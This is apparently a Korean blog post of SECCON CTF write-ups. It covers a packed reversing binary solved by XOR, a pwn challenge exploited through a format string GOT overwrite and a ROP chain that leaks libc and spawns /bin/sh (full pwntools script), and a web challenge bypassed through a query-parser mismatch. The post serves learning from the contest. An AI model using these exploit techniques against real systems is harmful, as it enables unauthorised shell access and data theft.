반응형

하기의 문제들은 ctf가 끝난 이후에 물어보며 정리한 것들.....

[+] 두서 따윈 없습니다.

 

rev


 

upx언패킹에 시간을 날려서 멸망 + 알고보니 언패킹하면 로직이 깨져서 언패킹하지말고 바로 gdb에 물려서 디버깅 + 핸드레이로 로직 파악 후 익스.

 

문제파일

packed.tar.gz
0.33MB

 

set $eax=0x31 -> setting eax register

loop문 : RSI와 RDI를 xor 연산.

입력한 값 0x31개의 값에 대해 연산 수행
-key값-

0x7ffff7ff7f14: 0x49f9830000004ae8      0x374c8d4857534475
0x7ffff7ff7f24: 0x39482feb5b565efd      0x803cac5e563273ce
0x7ffff7ff7f34: 0x7e8006778f3c0a72      0x013ce82c06740ffe
0x7ffff7ff7f44: 0x56



xor a b
-> a에 저장한다는게 포인트

key값에 대해 0x31만큼 수행 후 
enc값에 대해 다시 0x31만큼 수행

loop문 : RSI와 RDI를 값은지 비교.
b *0x44ee3c 후 부터는 si로 넘어가서 내부 로직 파악.
enc -> 마지막 값은 7d

0x44ee41:       0x1c82cd4f43430fbb      0x682ef87f240c1c25
0x44ee51:       0x567848b43a092dcc      0xdf0fcf6a3a422caa
0x44ee61:       0x17e4371fd04e3a14      0x7c0f8c1c652b3990
0x44ee71:       0x485e00000031b97d



**********직접 핸드레이하면서 복기(정적분석이든 동적분석이든 상관X)************

대강 구현한 것이므로 정상적으로 동작하는 코드는 아님..

#include <stdio.h>

int main() {
    len = 0x31
    char buf[80];
    
    write(1, "FLAG: ", 6);

    if ( read(0, buf, 0x80) != len ){
        write(1, "WRONG.\n", 7);
    }

    key = "49f9830000004ae8 374c8d4857534475 
    39482feb5b565efd 803cac5e563273ce
    7e8006778f3c0a72 013ce82c06740ffe
    56"

    enc = "1c82cd4f43430fbb 682ef87f240c1c25
    567848b43a092dcc df0fcf6a3a422caa
    17e4371fd04e3a14 7c0f8c1c652b3990
    48"

    for (int i = 0; i < len; i++) {
        buf = buf ^ key;
    }

    for (int i = 0; i < len; i++) {
        buf == enc;
    }

}

exploit.py

# Define data as strings
cal_data = [
    "49f9830000004ae8", "374c8d4857534475",
    "39482feb5b565efd", "803cac5e563273ce",
    "7e8006778f3c0a72", "013ce82c06740ffe", "56"
]
enc_data = [
    "1c82cd4f43430fbb", "682ef87f240c1c25",
    "567848b43a092dcc", "df0fcf6a3a422caa",
    "17e4371fd04e3a14", "7c0f8c1c652b3990", "48"
]

# Convert hex strings to bytes, reverse them, and combine
cal = b""
enc = b""

for t in cal_data:
    cal += bytes.fromhex(t)[::-1]

for t in enc_data:
    enc += bytes.fromhex(t)[::-1]

# XOR each byte and construct the result
res = ""
for i in range(len(cal)):
    res += chr(cal[i] ^ enc[i])

print(res)


결국 key ^ enc가 flag.

flag

SECCON{UPX_s7ub_1s_a_g0od_pl4c3_f0r_h1din6_c0d3}

 

 

pwn


Paragraph.tar.gz
0.00MB

 

해당 문제는 libc를 제공해 주지 않는데, 이러한 경우 docker 구성 후, docker에서 cp로 libc파일을 빼온다.

혹시나 풀어보실 분을 위해 따로 냄겨드림.

ld.so
0.23MB
libc.so
5.94MB

 

 

code on ida

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char format[32]; // [rsp+0h] [rbp-20h] BYREF

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  puts("\"What is your name?\", the black cat asked.");
  __isoc99_scanf("%23s", format);
  printf(format);
  printf(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted %s warmly.\n", format);
  return 0;
}

 

23글자 입력받고 출력해주는 코드가 전부임.

첫번째 scanf에서 fsb trigger가능

 

checksec

CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

 

fsb -> printf() overwrite -> bof + rop

 

일단 쓸 수 있는 가젯은 넉넉했음.

 

# 소소한 팁 : 디버깅할 때 특정 함수에서 너무 많이 넘겨야된다 싶으면 그냥 `fin`치면 됨.

 

exploit code

- 페이로드 뒤쪽에 AA를 넣는 이유 : 뒤쪽에 일부러 AA를 넣어서 형식을 깨뜨려 고의적으로 멈추게함. 없으면 입력을 받지 않음;;;; -> 뭔가 테크닉적인 요소인듯..?

- 2번째 printf()를 scanf()로 갈아끼워서 입력 받는 곳간을 한군데 더 확보하고, bof 및 rop를 위한 공간으로 활용한다.

- 첫번째 rop에 ret를 주석 처리한 이유: 디버깅 해보니 movaps에서 멈추면서 stack align이 깨져서

https://hackyboiz.github.io/2020/12/06/fabu1ous/x64-stack-alignment/#MOVAPS

- @@ 이후에 send하는 sendlineafter 사용하는 이유 : got의 시작은 4040이라 @@이후에 send 하도록  sendlineafter사용

- 최종 payload 전송 후 dummy값을 보내는 이유 : 일단, 최종 페이로드 초기에는 ret가 없었으며, 디버깅해보니 posix 쪽에서 에러가 터지며 그대로 죽음.(실제로 실행 시에도 그냥 멈춘다), stack이 뭔가 깨져있나 싶어서 혹시 모르므로 ret를 추가.

이후에 디버깅하면서 dummy payload한번 전송하니 쉘이 따임;;;;

-> 요부분은 추후에 디버깅 더 해보고 원인 파악 후 추가 작성 예정

from pwn import *

context.log_level = "DEBUG"

p = process("./chall_patched")
libc = ELF("./libc.so.6")

#gdb.attach(p, gdbscript="source ~/peda/peda.py")

printf_got_addr = 0x404028
scanf_plt_addr = 0x4010a0
puts_plt_addr = 0x401070
puts_got_addr = 0x404018
scanf_got_addr = 0x404030
ppr = 0x401281 # pop rsi ; pop r15 ; ret
pr = 0x401283 # pop rdi ; ret
ret = 0x40101a # ret
main = 0x401196 # main addr

# switch printf() to scanf()
p.sendline("%4198560c%8$lln_" + p64(printf_got_addr)[:6]) # blank : 4198560(4010a0),  "_" is padding for align

#trigger BOF -  second printf
#rop for puts_func leak - pop rdi; ret -> puts(puts_got_addr);
pl = "A"*40 #format[32] + sfp:8
# pl += p64(ret)
pl += p64(pr) # ret -> pop rdi; ret
pl += p64(puts_got_addr) # this gadget is as rdi
pl += p64(puts_plt_addr) # puts@plt has arg with rdi(puts@got) so the result is puts(puts_got_addr)
pl += p64(main) # return to main

p.recvn(4198560)
p.sendlineafter("@@"," answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted " + pl +  " warmly.\nAAA")
#p.sendline(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted " + pl +  " warmly.\n")

# calculate libc
leaked_puts_addr = u64(p.recvline().strip().ljust(8, '\x00'))
log.critical("Leaked puts_addr: 0x{:x}".format(leaked_puts_addr))
libc_base = leaked_puts_addr - libc.sym["puts"]
log.critical("libc base: 0x{:x}".format(libc_base))

# system()
system_addr = libc_base + libc.sym["system"]
log.critical("system addr: 0x{:x}".format(system_addr))
bin_sh_addr = libc_base + next(libc.search("/bin/sh"))
log.critical("/bin/sh addr: 0x{:x}".format(bin_sh_addr))

# rop chaining for system(/bin/sh)
pl = "A" * 40
pl += p64(ret)            
pl += p64(pr)        
pl += p64(bin_sh_addr)    
pl += p64(system_addr)    

# send payload
p.sendline(" answered, a bit confused.\n\"Welcome to SECCON,\" the cat greeted " + pl +  " warmly.\n")

# send dummy data to get shell
p.sendline("DUMMY") # ...?

p.interactive()

 

remote 환경에서는 확률적으로 터진다( 성공률 꽤 높음 )

 

flag

SECCON{The_cat_seemed_surprised_when_you_showed_this_flag.}

 

web


double-parser.tar.gz
0.03MB

code

import express from "express";

const PORT = 3000;
const LOCALHOST = new URL(`http://localhost:${PORT}`);
const FLAG = Bun.env.FLAG!!;

const app = express();

app.use("/", (req, res, next) => {
  if (req.query.flag === undefined) {
    const path = "/flag?flag=guess_the_flag";
    res.send(`Go to <a href="${path}">${path}</a>`);
  } else next();
});

app.get("/flag", (req, res) => {
  res.send(
    req.query.flag === FLAG // Guess the flag
      ? `Congratz! The flag is '${FLAG}'.`
      : `<marquee>🚩🚩🚩</marquee>`
  );
});

app.get("/ssrf", async (req, res) => {
  try {
    const url = new URL(req.url, LOCALHOST);

    if (url.hostname !== LOCALHOST.hostname) {
      res.send("Try harder 1");
      return;
    }
    if (url.protocol !== LOCALHOST.protocol) {
      res.send("Try harder 2");
      return;
    }

    url.pathname = "/flag";
    url.searchParams.append("flag", FLAG);
    res.send(await fetch(url).then((r) => r.text()));
  } catch {
    res.status(500).send(":(");
  }
});

app.listen(PORT);

 

app.use("/") - middleware

req.query.flag가 undefined(쿼리 문자열에 flag가 없을 때)인 경우, /flag?flag=guess_the_flag 링크를 반환

req.query.flag가 존재하면 요청을 넘김(next() 호출).

 

/flag - route

쿼리 파라미터 flag 값이 서버에 저장된 FLAG와 일치하는 경우, 플래그 값을 반환

 

/ssrf - route

사용자가 요청한 URL을 LOCALHOST 기준으로 파싱

URL의 hostname과 protocol을 검증

hostname이 localhost가 아니면 "Try harder 1" 반환.

protocol이 http가 아니면 "Try harder 2" 반환.

URL의 pathname을 /flag로 변경하고, 쿼리 파라미터 flag=FLAG를 추가, 변경된 URL로 HTTP 요청을 보내고 결과를 반환.

 

**********************************************

 

req.query.flag가 정의되어 있으면 모든 / 엔드포인트를 확인하는 미들웨어를 사용한다.

//The important parts are as below

const url = new URL(req.url, LOCALHOST);

url.pathname = "/flag";
url.searchParams.append("flag", FLAG);

 

 

request.query.flag를 먼저 Express 프레임워크에서 구문 분석한 다음 나중에 URL 파서에서 다른 방식으로 처리하는 이유

: request.query.flag은 middleware에 존재하며, middleware는 항상 모든 로직에 있어서 먼저 수행된다.

-ref-

https://expressjs.com/en/api.html

 

취약점 : 요청이 들어오면 Express가 먼저 req.query를 사용해 URL의 쿼리 문자열을 파싱. 그 후, 코드에서 new URL()을 사용해 다시 URL을 파싱하는 과정에서 두 방식의 차이가 발생

 

query parameter로써 입력받은 flag가 있다면, flag는 아래와 같이 된다.

flag: ["", "FLAG_HERE"]

그러면 당연히 우리는 flag를 모르므로 아래의 로직에서 걸리게 된다.

app.get("/flag", (req, res) => {
  res.send(
    req.query.flag === FLAG // Guess the flag
      ? `Congratz! The flag is '${FLAG}'.`
      : `<marquee>🚩🚩🚩</marquee>`
  );
});

 

쿼리문이 아래와 같이 되기 때문이다.

["", "FLAG_HERE"] === "FLAG_HERE"

 

그렇기에 현시점에서 사용가능한 부분은 아래의 코드이다.

new URL(req.url, LOCALHOST);

 

우리가 보낸 쿼리문이 flag로써 동작하지 않도록 해야하기 때문이다.

그리고 유의해야할 부분은 동일한 key값이 들어올 시, 뒤쪽의 key값을 참조한다.

https://github.com/ljharb/qs/issues/259

 

Is there an option to prevent value of the same key being populating into an array? · Issue #259 · ljharb/qs

Hi there, I'm trying to figure out if qs.parse allow us to update the query key value instead of collecting those as an array from the doc, but I can not find anything about that so I'm asking here...

github.com

 

payload가 `/ssrf?flag[=]=` 이런식으로 구성될 시에, 내부적으로 아래와 같이 인식한다.

req.query = {
  flag: { "=": "" }
};

 

이렇게 될 시 아래의 로직은 우회된다.

req.query.flag === undefined

 

실제로 확인해보면, 

undefiened가 아니다.

이후에, `new URL(req.url, LOCALHOST)`가 실행되며 쿼리문은 내부적으로 아래와 같다.

url.searchParams = {
  "flag[": "]="
}

 

]= 처리 쪽에 대한 ref
https://github.com/ljharb/qs/blob/32e48a2f94f3a433dd69bf011356616c5e81f1a5/lib/parse.js#L99C9-L100C86

 

새로운 key:value가 형성되며, 다음 구문으로 `url.searchParams.append("flag", FLAG)` 가 동작하는데 append에 의해 추가되어 아래와 같이 된다.

//before
{
  "flag[": "]="
}

//after
{
  "flag[": "]=",
  "flag": "FLAG_VALUE"
}

 

이후에 내가 이해한 바로는,

`res.send(await fetch(url).then((r) => r.text()));` 이 구문에 의해 url은 아래와 같이 형성된다.

/flag?flag[=]=&flag=FLAG

 

이제는 일전에 인지하라고 한것처럼 중복된 키로 간주되는 flag가 두개 있는 것이다.

현시점에서 보기엔 두개의 쿼리문이 다르지만, 내부적으로 깠을 때,

flag: {
  "=": ""
}

 

이 형태이다.

그러므로, 

  flag: {
    "=": ""
  }
  flag: FLAG

 

이렇게 두개가 있는 형태이다.
풀었던 분께 추후에 여쭤보면서 사진을 받았는데 나와 같은 형태이다.



이 상태에서 `flag: FLAG`가 쓰이는 것이므로, flag를 얻기 위한 최종 logic은 참이되고, 

req.query.flag === FLAG

 

FLAG가 나오게 된다.

flag

반응형

'CTF' 카테고리의 다른 글

4T$ CTF 2024  (0) 2024.11.11
Hero CTF 2024  (0) 2024.10.27
IRON CTF 2024  (11) 2024.10.06
BuckeyeCTF 2024  (0) 2024.09.29
ASIS CTF 2024  (0) 2024.09.23

반응형

잘되던 LD_PRELOAD가 안되어서 이 방법으로 해결

 

https://github.com/neko-hat/set-up-pwninit-bin

이거대로 설치 후 

pwninit --bin <binary> --libc <libc> --no-template



fail시에 생성된 libc와 _patched를 지우고 다시 수행
위에서 binary는 문제파일

 

결론: 김네코는 신이야!

반응형

'System Hacking' 카테고리의 다른 글

sane-env  (0) 2024.11.17
tcache_dup  (0) 2024.11.08
tcache_poisoning  (0) 2024.11.04
basic_exploitation_003  (0) 2024.10.21
v12, v12 Revenge  (0) 2024.10.09

+ Recent posts